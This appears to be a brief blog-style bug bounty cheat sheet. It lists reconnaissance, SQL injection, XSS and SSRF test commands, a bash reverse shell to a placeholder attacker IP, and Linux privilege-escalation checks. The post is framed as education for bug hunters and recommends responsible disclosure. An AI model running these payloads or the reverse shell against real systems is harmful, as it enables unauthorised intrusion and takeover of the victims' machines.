Bug bounty hunting and vulnerability research require a deep understanding of security flaws and their exploitation. Below are key techniques, commands, and tools used in bug hunting.
You Should Know:
1. Common Vulnerability Types
- SQL Injection (SQLi)
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Server-Side Request Forgery (SSRF)
- Remote Code Execution (RCE)
2. Essential Tools & Commands
Reconnaissance
Subdomain Enumeration subfinder -d target.com -o subdomains.txt amass enum -d target.com -o amass_results.txt Port Scanning nmap -sV -p- -T4 target.com -oN nmap_scan.txt Directory Bruteforcing ffuf -u https://target.com/FUZZ -w wordlist.txt -o fuzz_results.json
Exploitation
SQLi Testing with SQLmap sqlmap -u "https://target.com/search?id=1" --dbs --batch XSS Payload Testing python3 xsstrike.py -u "https://target.com/search?q=<script>alert(1)</script>" SSRF Testing with curl curl "http://target.com/fetch?url=http://attacker-controlled.com"
Post-Exploitation
Reverse Shell (Netcat) nc -lvnp 4444 Attacker bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' Victim Privilege Escalation (Linux) sudo -l find / -perm -4000 2>/dev/null
What Undercode Say
Bug bounty hunting is a continuous learning process. Mastering tools like Burp Suite, Metasploit, and custom scripts is crucial. Always follow responsible disclosure and document findings properly.
Expected Output:
- A well-structured vulnerability report.
- Proof-of-Concept (PoC) exploit code.
- Mitigation recommendations for the target organization.
Prediction
With the rise of AI-driven security tools, bug bounty hunting will become more automated, but human creativity in finding novel vulnerabilities will remain irreplaceable.
